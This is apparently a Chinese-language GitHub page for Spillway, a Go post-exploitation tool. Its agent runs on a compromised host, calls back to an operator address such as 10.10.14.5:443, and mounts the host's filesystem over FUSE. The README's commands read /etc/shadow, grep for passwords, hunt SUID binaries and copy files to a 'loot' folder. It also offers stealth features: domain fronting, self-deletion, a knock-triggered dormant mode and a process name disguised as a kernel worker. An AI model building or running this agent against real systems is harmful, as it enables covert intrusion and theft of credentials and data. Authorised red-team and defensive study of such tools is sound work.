Real-Fruit-Snacks/Spillway

GitHub: Real-Fruit-Snacks/Spillway

专为渗透测试设计的反向FUSE文件系统挂载工具,通过TLS 1.3和PSK认证在本地透明挂载远程目标文件系统

Stars: 0 | Forks: 0

Spillway ![Go](https://img.shields.io/badge/language-Go-00ADD8.svg) ![Platform](https://img.shields.io/badge/platform-Linux-lightgrey) ![License](https://img.shields.io/badge/license-MIT-blue.svg) **渗透测试用的反向/绑定/休眠FUSE文件系统挂载** 在目标上部署一个小代理,通过FUSE将其整个文件系统挂载到本地,使用标准工具浏览——通过TLS 1.3和双向PSK认证。无SSH的SSHFS,为攻击而构建。
## 快速开始 **前置条件:** Go 1.22+、FUSE(Linux上为`libfuse`,macOS上为macFUSE) ``` git clone https://github.com/Real-Fruit-Snacks/Spillway.git cd Spillway make listener ./build.sh reverse 10.10.14.5:443 ``` **验证:** ``` # 启动监听器(攻击者) ./bin/spillway listen --port 443 --mount ./target --key $(cat .psk) # 在目标上部署代理(零参数——配置在编译时内置) ./spillway-agent-linux-amd64 # 使用任意工具浏览远程文件系统 ls ./target/etc/ cat ./target/etc/shadow grep -r "password" ./target/var/www/ ``` ## 功能 ### 反向/绑定/休眠模式 三种连接策略。代理回拨(反向)、监听(绑定),或保持静默直到经过身份验证的触发信号触发回调(休眠)。全部通过TLS 1.3进行。 ``` ./build.sh reverse 10.10.14.5:443 # agent dials back ./build.sh bind 0.0.0.0:8443 # agent listens ./build.sh dormant 10.10.14.5:443 --knock-port 49152 # silent until knock ``` ### 完整FUSE挂载 您机器上的真实挂载点。`ls`、`cat`、`cp`、`grep`、`find`、`vim`——任何读取文件的工具都可以透明地操作远程文件系统。通过FUSE映射了17个操作。 ``` ls ./target/ # directory listing cat ./target/etc/shadow # read files grep -r "password" ./target/etc/ # search content find ./target/ -perm -4000 # find SUID binaries cp ./target/etc/passwd ./loot/ # exfiltrate ``` ### TLS 1.3 + PSK认证 临时自签名ECDSA证书,支持可选的指纹固定。两轮HMAC-SHA256挑战-响应认证——双方在开始任何文件系统操作之前都需证明持有密钥。 ``` ./build.sh reverse 10.10.14.5:443 --key ./build.sh reverse 10.10.14.5:443 --sni cdn.example.com # domain fronting ``` ### 代理部署 零运行时参数。所有配置通过编译时的`-ldflags`注入——`/proc/cmdline`中没有任何内容。静态二进制文件,跨平台编译支持5个目标平台。 ``` ./build.sh reverse 10.10.14.5:443 --all # build all 5 platforms ./build.sh reverse 10.10.14.5:443 --self-delete # remove binary after exec ./build.sh reverse 10.10.14.5:443 --procname [kworker/0:1] # masquerade ``` ## 架构 ``` cmd/spillway/ ├── main.go # Entry point, mode dispatch ├── config.go # Compile-time config vars (ldflags) ├── agent_run.go # Agent mode (//go:build agent) └── listener_run.go # Listener CLI (//go:build !agent) internal/ ├── protocol/ # Wire format, message types, errno mapping ├── transport/ # TLS 1.3, framed conn, mux, proxy tunneling ├── agent/ # FS ops, path jail, rate limit, opsec ├── fuse/ # FUSE bridge, dir/file nodes, mount ├── listener/ # Connection accept, session lifecycle ├── cache/ # TTL cache (stat 5s, dir 5s) └── config/ # Shared configuration types ``` ## 安全 通过[GitHub安全公告](https://github.com/Real-Fruit-Snacks/Spillway/security/advisories)报告漏洞。90天负责任披露。 **Spillway不提供:** - 植入物管理、任务分配或信标通信(C2框架) - 有效载荷生成或漏洞利用模块(攻击框架) - 销毁证据或篡改日志(反取证) - 规避EDR/XDR行为分析(规避工具) ## 许可证 [MIT](LICENSE) — Copyright 2026 Real-Fruit-Snacks
标签:EVTX分析, FUSE文件系统, Go语言, IP 地址批量处理, Linux提权, PE 加载器, PSK认证, TLS 1.3, 凭证访问, 加密通信, 反向Shell, 后渗透工具, 文件传输, 日志审计, 横向移动, 程序破解, 绑定Shell, 编程规范, 网络信息收集, 网络安全审计, 网络隧道, 进攻性安全, 远程挂载, 预共享密钥